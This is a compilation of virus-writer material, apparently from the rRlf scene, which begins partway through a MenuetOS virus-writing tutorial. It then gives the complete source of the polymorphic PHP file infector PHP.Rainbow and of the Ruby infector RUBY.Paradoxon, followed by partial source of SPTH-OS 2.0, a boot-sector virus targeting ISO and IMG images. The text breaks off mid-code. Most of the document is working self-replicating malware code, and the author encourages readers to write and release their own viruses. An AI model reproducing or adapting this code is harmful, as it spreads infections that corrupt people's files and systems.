memory, the file won't work anymore. Extanted Header / esp: This part of the header tells us, if it uses an extanted header or not. If the dword is 0x0, it doesn't use an extanted header. Otherwise it uses one. In that case, the value is the offset of the stack (esp). It's not important for the file, because pop/push always works without that offset. Parameters & Icon Information: These values are important for the host file, but not for us, therefor I won't explain it more exactly. 2) System Calls a) General information System Calls are the only way how you can communicate with the OS. Such a System call allow you to use general functions of the OS. To find information about that calls, you have to look at the sysfuncs.txt file included in the MenuetOS-package. There you can find the exact way of using every of the 66 (some of them aren't finished so far) calls. Generally a call looks like this: eax = function numbers ebx, ecx, edx, esi, edi = information for the call int 0x40 = System call An example - sysfuncs.txt contains this content: - - - - - - - - - - 05 = DELAY X/100 SECS ebx delay in 1/100 secs ret: nothing changed - - - - - - - - - - If we want a 0.5 second delay in our program, we have to do it as the following code shows you: - - - - - - - - - - mov eax, 5 ; Function number: DELAY X/100 SECS mov ebx, 50 ; 50/100 sec = 0.5 seconds int 0x40 ; System call - - - - - - - - - - b) System Call 58 System Call 58 is the only important function for our virus. Information about Function 58 by sysfuncs.txt: - - - - - - - - - - 58 = SYSTEM TREE ACCESS ebx pointer to fileinfo block path examples: '/RAMDISK/FIRST/KERNEL.ASM',0 '/RD/1/KERNEL.ASM',0 '/HARDDISK/FIRST/KERNEL.ASM',0 '/HD/1/KERNEL.ASM',0 '/HARDDISK/FIRST/MENUET/PICS/TANZANIA.BMP',0 fileinfo: dd 0 ; 0=READ (delete/append) dd 0x0 ; 512 block to read 0+ dd 0x1 ; blocks to read (/bytes to write/append) dd 0x20000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes db '/RAMDISK/FIRST/KERNEL.ASM',0 ; ASCIIZ dir & filename or fileinfo: dd 1 ; 1=WRITE dd 0x0 ; not used dd 10000 ; bytes to write dd 0x20000 ; source data pointer dd 0x10000 ; work area for os - 16384 bytes db '/RAMDISK/FIRST/KERNEL.ASM',0 ; ASCIIZ dir & filename or ; LBA fileinfo: dd 8 ; 8=LBA read (/9=LBA write) dd 0x0 ; 512 block to read (write) dd 0x1 ; set to 1 dd 0x20000 ; return data pointer dd 0x10000 ; work area for os (16384 bytes) dd '/HARDDISK/SECOND',0 ; physical device ; ASCIIZ ( or /rd/1/ ) LBA read must be enabled with setup NOTE: The asciiz in this context refers to the physical device and not to logical one. For hd: first=pri.master, second=pri.slave third=sec.master, fourth=sec.slave or fileinfo: dd 16 ; 16=START APPLICATION dd 0x0 ; nop dd param ; 0 or parameter area (ASCIIZ) dd 0x0 ; nop dd 0x10000 ; work area for os - 16384 bytes db '/HD/1/MENUET/APPS/FIRE',0 ; ASCIIZ dir & filename ret: eax = pid or 0xfffffff0+ for error - - - - - - - - - - This way we can find files, read file contents and write files, but this be explained later on. 3) Virus functions a) Find viruscode in memory Finding the code of the virus in memory is very important for the virus, otherwise you can't infect other files. Now there are two ways to find the code, which depends on what kind of virus it is - a prepender or appender. (I don' think of EPO infectors so far). The easiest way to find the code is a call, and you pop your offset from the stack to a register. But a bad thing at saving it in a register is, that you can't use that register anymore (because the offset must not be overwritten). Information about CALL by OPCODES2.HLP: - - - - - - - - - - Pushes Instruction Pointer (and Code Segment for far calls) onto stack and loads Instruction Pointer with the address of proc-name. - - - - - - - - - - If you call a lable at the start of the virus, the stack contains the offset call. And that's the assembler source for this way: - - - - - - - - - - call virus ; Push current memory offset to stack virus: pop ecx ; Pop current memory offset to ecx sub ecx, 5 ; Get the startoffset of the viruscode in memory xchg ebp, ecx ; Move ecx to ebp <- NOTE: You must not pop ebp, ; otherwise the OS freezes. - - - - - - - - - - As I told you, there is another way to find the Virusstart-offset, I'll tell you now: Prepender: This type infects files before the real code = at the Entry Point. As you know from header-information that the Entry Point of the code is at offset dword [0xC] and the application is loaded at org 0x0, we can use the following code: - - - - - - - - - - mov ebp, dword [0xC] ; ebp = 0x0 + dword [0xC] - - - - - - - - - - Appender: The other type of viruses infects files behind the file. Now we know the memory start of the file (org 0x0), and the filelength of the infected file: dword [0x10]. So we can do the same thing again. - - - - - - - - - - mox ebp, dword [0x10] ; ebp = 0x0 + dword [0x10] - - - - - - - - - - b) Find files This is of corse on of the most important parts of a virus, and in MenuetOS it's not that easy. The reason for that is, that there is no direct function for it. But, as I have told you, we have SYSTEM CALL 58, which could do that for us. With function 58 we can read files, but not only, we can even read directory entries. Just look at the following example: - - - - - - - - - - mov eax, 58 mov ebx, dir_block int 0x40 dir_block: dd 0 ; 0=READ dd 0x0 ; size of reading block: 512 + x dd 0x16 ; blocks to read = 16*512 = 8192 bytes dd 0x20000 ; Offset where to save data dd 0x10000 ; work area for os - 16384 bytes db '/RAMDISK/FIRST',0 ; Directory Name - - - - - - - - - - Now we have the directory entries at memory offset 0x20000. The exact information about that will follow in the next capture. For now it's just important to know, that the first filename (always 11 letters) is at offset 0x0, and the whole information of one file is 32 bytes. That means, you can find files here: 0x0, 0x20, 0x40, 0x60, ... As we read 16*512 bytes, we got 100 files. You could get the filenames with a code like that: - - - - - - - - - - mov ebx, 0x20000 ; Offset in memory nextfile: add ebx, 32 ; Get next file-start-offset cmp ebx, 0x22000 ; Compair if we got all file jne nextfile ; If not, get next file - - - - - - - - - - c) Directory Entries Last capter talked about finding files via Directory Entries, but so far I haven't explained you the 32 bytes of a file. Well, here we are. The Directory Entry contains important informations like the file attributes or the information about a deleted file. We have to use this informations for avoiding the infection of deleted files or directories. If we don't avoid them, the virus will freeze the system. Now look at the following list: - - - - - - - - - - struct msdos_dir_entry { __u8name[8],ext[3];/* name and extension */ <-- IMPORTANT __u8attr;/* attribute bits */ <-- IMPORTANT __u8 lcase;/* Case for base and extension */ __u8ctime_ms;/* Creation time, milliseconds */ __u16ctime;/* Creation time */ __u16cdate;/* Creation date */ __u16adate;/* Last access date */ __u16 starthi;/* High 16 bits of cluster in FAT32 */ __u16time,date,start;/* time, date and first cluster */ __u32size;/* file size (in bytes) */ <-- IMPORTANT }; - - - - - - - - - - I have already told you, that the first 11 bytes contain the file name. But it contains also another information: If the first byte of the filename is 0xE5, we have a deleted file. To avoid them you should compair the first byte of the filename with 0xE5, and if it's equal, get the next file. The attribute bytes contains 7 values: - - - - - - - - - - #define ATTR_NONE 0 /* no attribute bits */ #define ATTR_RO 1 /* read-only */ #define ATTR_HIDDEN 2 /* hidden */ #define ATTR_SYS 4 /* system */ #define ATTR_VOLUME 8 /* volume label */ #define ATTR_DIR 16 /* directory */ <-- IMPORTANT #define ATTR_ARCH 32 /* archived */ - - - - - - - - - - If ATTR_DIR = 1, we have a directory, and we should avoid to infect it. To do this, you could use the following code: - - - - - - - - - - mov cl, [ebx+11] ; Move the attribute bits to cl and cl, 0x10 ; AND 0x10 ( ???1 ???? = FOLDER ) jnz nextfile ; If not zero, get next file - - - - - - - - - - The last important part of the Directory Entries is the filesize. You need the filesize for reading the file to memory, because MenuetOS don't allow us to read a whole file, but we have to include the length which we want to read. d) Read files to memory We have to read our filecontent to the memory, because we just can infect the file (= include the virus code and do some other stuff) in memory. To do that, we have to search the System Call, which can do it. Well, the call is´, again, the function 58. Look at a code reading a file: - - - - - - - - - - mov eax, 58 mov ebx, fileinfo int 0x40 fileinfo: dd 0 ; 0=READ dd 0x0 ; 512+x / block to read dd 0x1 ; blocks to read dd 0x20000 ; return data pointer dd 0x10000 ; work area for os - 16384 bytes db '/RAMDISK/FIRST/FILENAME',0 ; ASCIIZ dir & filename - - - - - - - - - - Now we two problems: First: We don't know how much blocks we have to read (because every file has a different filesize) and second we don't have the filename at the fileblock. We just have both information at the Directory Entry. What to do? As our code is executed at 0x0 in memory, we could write that informations to memory via 'stos'. But one more problem: The filesize at the Directory Entry is stored in bytes, but we need the blocks we have to read. A solution is the Assembler-command 'shr'. - - - - - - - - - - Shifts the destination right by "count" bits with zeroes shifted in on the left. The Carry Flag contains the last bit shifted out. - - - - - - - - - - Let me show you, how that works. Let's say, we have a file with the size with 10.000 bytes: mov eax, filesize <-- eax = 10011100010000b shr eax, 9 <-- eax = 10011b = 19d = 19 blocks inc eax <-- eax = 20d <-- 20*512 = 10.240 = we read got all bytes of the file Let's have a look at that: - - - - - - - - - - ;; ebx=offset of filename at Directory Entry mov eax, dword [ebx+28] ; Move the filesize to eax shr eax, 9 ; Get the blocks to read inc eax ; For reading the last not completed block mov edi, flb_bs ; Move the offset of the stosb ; Write [al] to di in memory (number of blocks to flb_bs) mov ecx, 11 ; Move 11 to ecx (counter=11) fn2fb: ; File Name to File Block mov al, [ebx] ; Move the ebx-value to al stosb ; Write al to memory at offset edi (=11 letter buffer) inc ebx ; Get next letter loop fn2fb ; Jump to fn2fb if ecx>0 && dec ecx mov eax, 58 ; SYSTEM TREE ACCESS mov ebx, fileblock ; ebx=offset of fileblock int 0x40 ; SYSTEM CALL file_block: dd 0 dd 0x0 flb_bs: dd 0x1 ; How much blocks to read (filesize/512) dd 0x25000 ; Here the filecontent will be stored dd 0x10000 db '/RAMDISK/FIRST/' ; This is the Direction we want to infect fle db ' ',0 ; The 11 byte buffer for the filename 0-ended - - - - - - - - - - This way we read the whole file to 0x25000 in memory. We just have to rewrite the code in memory and write the memory-content at that offset back to the file. e) Write memory to files After rewriting the file in memory, we have to write the file back. All we need we have. The filename in memory in the file-block, the numbers of blocks at the right address. The only thing we have to do is to change the first dword in the file-block. This dword is the kind of action (read/write, append and delete aren't ready so far). Well, we could use two different fileblocks, but that way we have to copy the filenames and the numbers of blocks. Well, I'll explain how to do it with one block. We have to write at address of file_block beginn the option 1. Let's look at the source: - - - - - - - - - - add edi, file_block ; Offset of fileblock mov al, 1 ; What to write (1 for writing) stosb ; Write al to memory at offset edi mov eax, 58 ; SYSTEM TREE ACCESS mov ebx, file_block ; File_block offset to ebx int 0x40 ; SYSTEM CALL file_block: dd 0 ; First it's read, but we need write dd 0x0 flb_bs: dd 0x1 ; How much blocks to read (filesize/512 - still there) dd 0x25000 ; The content of this offset will be written to the file dd 0x10000 filen db '/RAMDISK/FIRST/' ; This is the Direction we want to infect fle db ' ',0 ; The 11 byte buffer for the filename 0-ended (still there) - - - - - - - - - - This code writes the 'WRITE-option' to fileblock-start, and then write flb_bs*512 bytes to filen until there is a NULL. The full filename and the numbers of fileblocks to write are still there because of the reading before. 4) Infection Type a) Prepender A Prepender virus infects its victim infront of the original host code and stores the code of the first part of the file at the end of the file. Such a file looks like that: Uninfected Sample: Infected Sample: ++++++++++++ +++++++++++++ ++ ++ ++ ++ ++ HEADER ++ ++ HEADER ++ ++ ++ ++ ++ ++++++++++++ +++++++++++++ ++++++++++++ ************* ++ ++ ** VIRUS ** ++ HOST ++ ************* ++ ++ +++++++++++++ ++ CODE ++ ++ REST OF ++ ++ ++ ++ HOST ++ ++++++++++++ +++++++++++++ ############# ## START ## ## OF HOST ## ############# The virus searchs for the filesize of the host first. Than it copies the first bytes, which will be the virus-buffer, to an offset. This offset depends on the filesize. If the virus+header of file is bigger than the file, we would overwrite the restored bytes with the virus. Under that contition we have to restore the code at offset [viruslength+headerlenght]. Otherwise, if the file is bigger, we have to write the first hostpart at the end of the file. Next step is to infect the file, which means to insert the virusbody to the buffer at the filestart. The filestart is, as we already know, at offset 'dword [0xC]' stored. The filelength is at offset 'dword [0xC]'. After successful execution of the virus, we give the control back to the host. We have to write the original host-start (which is at the end of the file = dword [0x10] or at dword [0xC]+viruslength: You just have to check) back to the real file-start (dword [0xC]). We have to write the length of the virus to the filestart. But now we have one big problem: We can't overwrite our code as long as it is still running (writing back the host), so we have to be tricky: We write the restoring code for the host to a unused memory address and jump to that address. Look at the source: - - - - - - - - - - rebu: ; Rebuild the host code mov ebx, dword [0x10] ; Move the file length to ebx, to get the old hostcode offset mov edx, dword [0xC] ; Move the offset of the head-length to edx add edx, viruslength ; Add the viruslength to edx cmp ebx, edx ; Check if the file is smaller than the virus jge notsmall2 ; If not greater or equal, go on mov ebx, edx ; Move the new offset to ebx notsmall2: mov edi, dword [0xC] ; Where to write: 0xC mov ecx, viruslength ; How much to write rbhc: ; Rebuild host code mov al, [ebx] ; One byte of the saved host code to al stosb ; Write al (Host code) to edi (Entry Point of file) inc ebx ; Get next byte loop rbhc ; Jump to rbch if ecx>0 && inc ecx jmp dword [0xC] ; Jump to Entry Point, now with the original code rebuend: ; Rebuild host code: End - - - - - - - - - - b) Appender This is the second infection type. This kind of virus copies the virus after the whole file and modifies the header, exactly the Entry Point. After the infection is finished, the virus restores jumps the original Entry Point. The infected file looks like this: Uninfected Sample: Infected Sample: ++++++++++++ ++++++++++++++ ++ ++ ++ MODIFIED ++ ++ HEADER ++ ++ HEADER ++ ++ ++ ++ ++ ++++++++++++ ++++++++++++++ ++++++++++++ ++++++++++++++ ++ ++ ++ ++ ++ HOST ++ ++ HOST ++ ++ ++ ++ ++ ++ CODE ++ ++ CODE ++ ++ ++ ++ ++ ++++++++++++ ++++++++++++++ ************** ** VIRUS ** ** JUMP TO ** ** EP ** ************** An Appender searchs for the filesize and copies itself to that offset. After that, it searchs for the Entry Point, overwrite it with the virusstart (dword [0xC]=dword[0x10]). Than it writes the original Entry Point to the offset of the jump, which gives back the control to the host. This way MenuetOS will execute the virus infront of the host, which will be executed after the virus starts. 5) Last words Finally, I want to say that I'm very happy after finish this article. This project (MenuetOS) used some hunderts of hours. First I had to analyse the way MenuetOS works, than I had to read many sources of Menuet-executeables, and I tried to understand them (which was sometimes very hard, because not everything was explained). Than learning about the Systemcalls and other Menuet things was nessecary. Next step to learn was the file-format (at least the header). Time went on, and I stared to understand how everything worked. Simple codes by me did what they were suposed to do, and out of some simple codes, a new virus was born. The reason, why I have written this article is the fact, that I didn't want to let the whole informations I collected last few month became lost. Well, here is that collection. In the end, and this should be it, it's important for me to say 'Thank You' to some persons, who were very important for all my MenuetOS descovering: - Ville Mikael Turjanmaa The main-coder and founder of MenuetOS. (www.menuetos.org) You seems to be a really cool and damn smart guy. MenuetOS is a great field for learning about assembly language and OS developing. It really helped me alot to increase my asm knowlegde. This way I want to say Thanks for you, and also for your interesting email-answere. Please keep on working on that tool, and maybe you will also include a little AV for that OS. ;) Take care! - VxF The guy, who introduced me in Menuet and inspire me in writing a virus for it. Much thanks for that all. And also much thanks for everything else you have ever done for me, you're one of the most important guys in my cyberlife... - jpelczar The great progging-freak and Menuet-messiah at #MenuetOS. Without you, nobody could read this article, therefor a big thanks for all the time you offered to explain me different strange things at MenuetOS' behaviour. Big sorry that I didn't say what for i need all the information, I hope you don't hate me because of that. - SlageHammer The damn friendly guy in IRC, who knows help for every problem. Molto grazie per tutti hai fatto per me. (damn, my italian is even worse than my english) :D And thanks for telling me about the KAV name of my virus (Menuet.Xymo.a)! - Music: + Theatre Of Tragedy Thank you for your relaxing gothic sound. It helps alot listening to your music after 2 hours of no success at anything. You inspire me to on, and let me feel like a god! :) + Darkfall & Stuck Mojo Great trash metal, which makes me feel better than a god after finishing any part of the code, leting a code do what it's suposed to do, and so on. It gives me the needed energy for working on the next part. + Music of the 60s, 70s & 80s Great bands like Uriah Heep, KISS, ACDC, The Byrds, Deep Purple, Scorpions, Iron Maiden, CCR, Manowar and so on give a cool and relaxed feeling, which is important for writing and coding... But I don't want to just thank these guys above, but also YOU, reader. Thank you for reading this piece of code. I really hope that you have enjoyed this and that you learned some things (maybe not alot, but maybe some little things). I would be happy as hell if you would write your own virus for MenuetOS (and, of course, release it). It's not very difficult, so just try it! Last hello goes to my RainBow, thanks for being with me! Last thing I want to say is: see you out there soon... - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written from march-june 2004 Austria - - - - - - - - - - - - - - -sources
PHP.Rainbow Second Part To Hell PHP.Rainbow by Second Part To Hell www.spth.de.vu written in october 2003 in Austria You're looking at my very first PHP virus, but don't be sad, it's a really good one :) First I want to tell you something about the features of the virus, then I'll give you some information about the technique of the features. OK, it's a Prepender PHP virus, which uses three polymorphism techniques. The poly engines are totally new, because I've never seen any other poly PHP virus (Kefi did one in the meantime, but I haven't seen it so far). As I told you, there are three different polymorphism techniques, I'm sure that you want to know more about them :) First engine adds trash/garbage/junk (whatever you wanna call it) to the code, the second one changes 15 variable/function names. And the last one changes numbers. Now let's have a look at the better explanation, not this shourt summary :) Techniqual Information: * Poly Engines --> Adding Trash/Junk/Garbage The Virus adds every second line a junk line to the code. This junk line could contain: - // anything - $anything='anything'; - $anything=number; Because the code would be damn big after the 5th generation, I decided to delete the trash after every generation and to make a new one. Anyway, the chance to get a trash-line will be bigger, because there are more lines (more lines --> more chance). But I tested about 30 generation and it's no big problem with the size. --> Changing Variable/function names The Virus uses an array with all variable/function names of the virus, every generation it changes every array-entry (every name) to a 5-15 sign long new name. --> Number changing The virus is able to change every number in the code. This is a real successfull way to fake AVs, i think! A number (for instands '10') could also be one of the following things: 10=(8+2) 10=(19-9) 10=(130/13) It's easy to understand, I think. I decided to change every 5th number I can find, because it looks better than changing every number every generation. * Infection Method --> Prepender This code is a prepender virus, which doesn't harm the victim file. It reads the first PHP part (which is the whole virus code) of the current file (__FILE__, as it's called in PHP). Then it searches for every PHP-file in the current directory, and adds the changed virus code at the top of the victim file. Before infecting the virus checks, if there's already an infection mark of the virus, which is 'RainBow'. Something else little interesting is, that it's hard to get many different generations from the virus, because it just changes, if it infects a file. And just the infected file has the different form, not the old virus. That's a little trick, which I read in an article about polymorphism by SnakeByte. He wrote, that it will use more time to get many generations, which is a problem for AVs (who needs many generations :D). In the end I want to thank the following people, which made it possible, that I wrote this virus :) - Fugo <-- Guy from school, PHP expert but non viral stuff :( Much thanks for the information you gave me in PHP! - www.php.net & www.apachefriends.com <-- Great PHP information!!! - MaskBits/VXI <-- Writing the first real PHP maleware (released in 29A#5) - PhileT0Ast3r <-- Telling me, that Kefi also writes a PHP poly virus - Kefi <-- for also writing a PHP poly virus :D - Theatre Of Tragedy | Darkfall <-- for the great sounds!!! - Cigarettes | Beer <-- for helping me to don't commit suicide while searching for the bugs in this little thing :) Maybe you wanna know, why I gave this name. I won't tell you, but the person, who the name comes from, should understand it ;) Execute this virus with PHP 4.3.3 + PEAR. I did it, and it worked really fine! --------------------------------------< PHP.RainBow >-------------------------------------- <?php // RainBow srand((double)microtime()*1000000); $changevars=array('changevars','string','newcont','curdir','filea','victim','viccont','newvars','returnvar','counti','countj','trash','allcont','number','remn'); $string=strtok(fread(fopen(__FILE__,'r'), filesize(__FILE__)),chr(13).chr(10)); $newcont='<?php // RainBow'.chr(13).chr(10); while ($string && $string!='?>'){ if(rand(0,1)){ if(rand(0,1)){$newcont.='// '.trash('',0).chr(13).chr(10);} if(rand(0,1)){$newcont.='$'.trash('',0).'='.chr(39).trash('',0).chr(39).';'.chr(13).chr(10);} if(rand(0,1)){$newcont.='$'.trash('',0).'='.rand().';'.chr(13).chr(10);}} $string=strtok(chr(13).chr(10)); if($string{0}!='/' && $string{0}!='$'){$newcont.=$string.chr(13).chr(10);}} $counti=0; while($changevars[$counti]){ $newcont=str_replace($changevars[$counti++],trash('',0),$newcont);} $countj=-1; $number=''; while(++$countj<strlen($newcont)){ if (ord($newcont{$countj})>47&&ord($newcont{$countj})<58){ $number=$newcont{$countj}; while(ord($newcont{++$countj})>47&&ord($newcont{$countj})<58){$number.=$newcont{$countj};} $remn=rand(1,10); if (!rand(0,5)){switch(rand(1,3)){case 1:$allcont.='('.($number-$remn).'+'.$remn.')';break; case 2:$allcont.='('.($number+$remn).'-'.$remn.')';break; case 3:$allcont.='('.($number*$remn).'/'.$remn.')';break;}}else{$allcont.=$number;}} $allcont.=$newcont{$countj};$number='';} $curdir=opendir('.'); while($filea=readdir($curdir)){ if(strstr($filea,'.php')){$victim=fopen($filea,'r+'); if (!strstr(fread($victim, 25),'RainBow')){rewind($victim); $viccont=fread($victim,filesize($filea)); rewind($victim); fwrite($victim,$allcont.$viccont);} fclose($victim);}} closedir($curdir); function trash($returnvar, $countj){ do{$returnvar.=chr(rand(97,122));}while($countj++<rand(5,15)); return $returnvar;} ?>sources
RUBY.Paradoxon Second Part To Hell RUBY.Paradoxon by Second Part To Hell www.spth.de.vu spth@priest.com written in november 2004 in Austria (as a free world citizen) The virus you can see now is, as the name already says, a RUBY file infector. You may ask, what the hell is RUBY? Well, it's a web-based script language from japan, where it is very famous and often used. I've read about that language in a Linux Magazine (with the special Knoppix 3.6-scripting edition CD), and I wanted to try it (write a virus for it). OK, I've downloaded the Installation pack (http://www.geocities.co.jp/SiliconValley-PaloAlto/9251/ruby/main.html) for Ruby 1.8.1.2 and the 'Ruby Language Reference Manual'. Then i've started to learn it, and soon I've understood the main parts of the syntax, some important methods and objects and so on. And as a result of my work, you can find the virus here. RUBY.Paradoxon is a prepender-virus, which infects all .rb (Ruby) files in the current directory. It doesn't harm the host in any way nor it has any other payload. I'm going to write one advanced Ruby virus and write a tutorial about Ruby-infections soon. I've named my virus Paradoxon, because the existence of such a virus is very strange. I hope you enjoy the little trip into a world, nobody has ever met before :) # RUBY.Paradoxon mycode=File.open(__FILE__).read(630) cdir = Dir.open(Dir.getwd) cdir.each do |a| if File.ftype(a)=="file" then if a[a.length-3, a.length]==".rb" then if a!=File.basename(__FILE__) then fcode="" fle=open(a) spth=fle.read(1) while spth!=nil fcode+=spth spth=fle.read(1) end fle.close if fcode[7,9]!="Paradoxon" then fcode=mycode+13.chr+10.chr+fcode fle=open(a,"w") fle.print fcode fle.close end end end end end cdir.closesources
SPTH-OS 2.0 Second Part To Hell SPTH-OS 2.0 by Second Part To Hell/[rRlf] www.spth.de.vu spth@priest.com written from January 2005 - April 2005 in Austria What you can see below is the world's first bootsectorvirus for CD-ROMs. The virus infects ISO-9660 El Torito Images in the Root Directory of the first partition on the Harddisk. It also infects FAT12 .IMG Imagefiles. El Torito is maybe the most often used Bootable CD-Image, and it's used by for instance Ahead Nero Burning-ROM. When the virus infects an ISO image, and the user burns this image to a CD-ROM, the CD-ROM is infected, and the virus can not be removed anymore. When the user now forgets the CD-ROM in the drive, and BIOS tests the CD-Boot, the next images became infected. The features: - First CD-ROM bootsector virus - Works at CD-ROMs and floppys - Own FAT32 Filesystem driver - ISO-9660 El Torito Images infection - FAT12 Image file infection The differences to other bootsector virus is, that it does not use the OS's functions but use it's own Filesystem driver. This was of course a lot of work, but I guess that it was a success. There is one known bug: the virus does not infect files at very huge and full-trashed root directories, as it just searchs files in the first 16 sectors (256 entries), but this is very unusual. (But you have to know that also deleted files/dirs are saved in the root directory) Compile: - - - del kernel.bin cls fasm kernel.asm kernel.bin rawrite -f kernel.bin -d A -n pause shutdown -r -f -t 1 -c "SPTH-OS v2.0" - - - Well, the first prove-of-concept CD-ROM bootsector virus has been writen, now let's move to other projects... - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - org 0x7c00 ; Offsets + 0x7C00, as the bootsector will be loaded at 0x7C00 stfat: jmp startboot ; Jump over FAT12 table nop db 0x4D,0x53,0x44,0x4F,0x53,0x35,0x2E,0x30 ; FAT12 Table db 0x00,0x02,0x01,0x01,0x00,0x02,0xE0,0x00 db 0x40,0x0B,0xF0,0x09,0x00,0x12,0x00,0x02 db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 db 0x00,0x00,0x00,0x29,0x8C,0x22,0x2F,0x7C db 0x4E,0x4F,0x20,0x4E,0x41,0x4D,0x45,0x20 db 0x20,0x20,0x20,0x46,0x41,0x54,0x31,0x32 db 0x20,0x20,0x20 startboot: cli ; No Interrupts mov ax,0x9000 ; Make the stack at 0x9000 mov ss, ax ; Stack=0x9000 mov sp, 0 ; Stackpointer=0x0 sti ; Allow Interrupts mov [bootdrv], dl ; Save the bootdevice loada: push ds ; Save DS mov ax, 0 ; Function: Diskdrive reset mov dl, [bootdrv] ; Bootdevice to dl int 0x13 ; Execute pop ds ; Get DS jc loada ; If Error, do it again load1: mov ax, 0x1000 ; Where to read: 0x1000 mov es, ax ; ES=0x1000 mov bx, 0 ; BX=0 mov ah, 0x2 ; Read sectors mov al, 0x3 ; Read 3 sectors mov cx, 2 ; Start at sector 2 mov dx, 0 ; At current disk (or emulated disk) int 0x13 ; Execute jc load1 ; If error, do it again mov ax, 0x1000 ; AX=0x1000 mov es, ax ; ES=0x1000 mov ds, ax ; DS=0x1000 push ax ; push 0x1000 to stack mov ax, 0 ; AX=0x0 push ax ; push 0x0 to stack retf bootdrv db 0 ; Byte for bootdevice endboot: times (512-(endboot-stfat)-2) db 0 dw 0xAA55 org 0x0 ; Offsets + 0x0 start: mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, 1 ; Start at sector 1 mov ch, 0 ; Cylinder=0 mov dh, 0 ; Head=0 mov dl, 0x80 ; Drive=0x80=HD int 0x13 ; Read MBR xor bx, bx ; bx=0=Start of MBR mov ax, [bx+454] ; ax=1st Partition's start: Partitiontable (446) + 8 = 454 mov cl, [bx+447] ; cl=Sector of 1st Partition in CHS: 446 + 1 = 447 mov dh, [bx+448] ; dh=Head of 1st Partition in CHS: 446 + 2 = 448 mov ch, [bx+449] ; ch=Cylinder of 1st Partition in CHS: 446 + 3=449 mov bx, 0x1000 ; bx=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [BootSecPar], ax ; Save 1st Partition's start in LBA mov ah, 0x2 ; Read mov al, 0x10 ; 16 Sector mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x2000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read First Sector of Partition xor bx, bx ; BX=0x0 mov ah, [bx+24] ; ah=BPB_SecPerTrk: For CHS calculation mov al, [bx+26] ; al=BPB_NumHeads: For CHS calculation mov cl, [bx+13] ; cl=Sector per cluster mov ch, [bx+16] ; ch=Number of FATs mov si, [bx+14] ; si=Reserved Sectors mov ebp, [bx+44] ; ebp=RootCluster mov edx, [bx+36] ; edx=Sectors per FAT mov bx, 0x1000 ; bx=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx ; BX=0x0 mov [TotalSector], ah ; Save BPB_SecPerTrk mov [TotalHead], al ; Save BPB_NumHeads mov [SecPerClust], cl ; Save Sector per cluster mov [ReservedSec], si ; Save Reserved Sector mov [NumOfFats], ch ; Save Number Of FATs mov [SecPerFat], edx ; Save Sector Per FAT mov [LBA], ebp ; Save Root Cluster call getLBA ; Get the real sector number ; Returns the real sector number in EAX call CHS ; CHS mov ah, 0x2 ; Read mov al, 0x10 ; 16 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x2000 ; bp=0x2000 mov es, bx ; Data will be read to ES:BX, ES=0x2000 mov ds, bx xor bx, bx int 0x13 ; Read Sectors fat32read: mov cx, 0x2000 ; cx=0x2000 mov es, cx ; Data will be read to ES:BX, ES=0x2000 mov ds, cx mov ah, [bx] ; ah=First byte of Filename test ah, ah ; Check if zero. If zero, it's the last entry jz ende_a ; If it's the last entry of this directory, stopp the filesearching cmp ah, 0xE5 ; Check if the byte is 0xE5. If so, it's a deleted file je fat32next ; If deleted file, get next entry mov al, [bx+2] ; al=3rd letter of name test al, al ; Check if zero jz fat32next ; If zero, get next entry mov al, [bx+11] ; Move the Filetype to AL cmp al, 0x10 ; Compaire with 0x10 (=Directory) je fat32next ; If it's a directory, save the cluster mov ax, word [bx+8] ; 9th and 10th Letter to ax cmp ax, 'IM' ; Check if it's 'IM' jne fat32noimg ; If not, no IMG file mov al, byte [bx+10] ; Move 10th letter to al cmp al, 'G' ; Check if 10th letter='G' jne fat32noimg ; If not, no IMG file mov eax, [bx+0x1C] ; eax=Size of file cmp eax, (totalend-start)+512 ; Minimum size of file: 1st sector+viruslength js fat32next ; If not big enough, not infect this file push bx call infectionIMG ; Infection! pop bx fat32noimg: mov ax, word [bx+8] ; 9th and 10th Letter to ax cmp ax, 'IS' ; Check if it's 'IS' jne fat32noiso ; If not, no ISO file mov al, byte [bx+10] ; Move 10th letter to al cmp al, 'O' ; Check if 10th letter='S' jne fat32noimg ; If not, no IMG file push bx call infectionISO ; Infection! pop bx fat32noiso: fat32next: add bx, 0x20 ; Next entry jmp fat32read infectionIMG: mov ax, [bx+20] ; High number of cylinder to ax shl eax, 0x10 ; High number in e-part of eax mov ax, [bx+26] ; Low number of cylinder to ax mov bx, 0x1000 ; ax=0x1000 mov es, bx ; Data will be read to ES:BX, ES=0x1000 mov ds, bx xor bx, bx ; BX=0x0 mov [LBA], eax ; DataCluster=EAX call getLBA ; Get the real sector number ; Returns the sector number in EAX mov [LBA], eax ; Save the LBA call CHS ; Get the CHS of the real sector number mov ah, 0x2 ; Read mov al, 0x1 ; 1 Sector mov cl, [sector] ; Start at sector ?? mov ch, [cylinder] ; Cylinder=? mov dh, [head] ; Head=?? mov dl, 0x80 ; Drive=0x80=HD mov bx, 0x3000 ; bx=0x3000 mov es, bx ; Data will be read to ES:BX, ES=0x3000 mov ds, bx xor bx, bx ; BX=0x0 int 0x13 ; Read Sectors mov eax, [bx+0x37] ; At 0x36: "FAT12"-mark cmp eax, 'AT12' ; Compaire the values call infectimgwrite ; If equal, infect it ret ; Otherwise return to the file-search procedure infectimgwrite: mov ax, 0x1000 ; AX=0x1000 (Virus in Memory) mov ds, ax ; DS=0x1000 mov ax, 0x3000 ; AX=0x3000 (Bootsector of File in Memory) mov es, ax mov cx, 62 ; Length of 1st sector data mov si, fat12bootsector ; Where the data is mov di, 0x3E ; The FAT12 at 1st sector in IMG file rep movsb ; Move CX bytes from DS:SI to ES:DI ; Move 62 bytes from 0x1000:data1stsector to 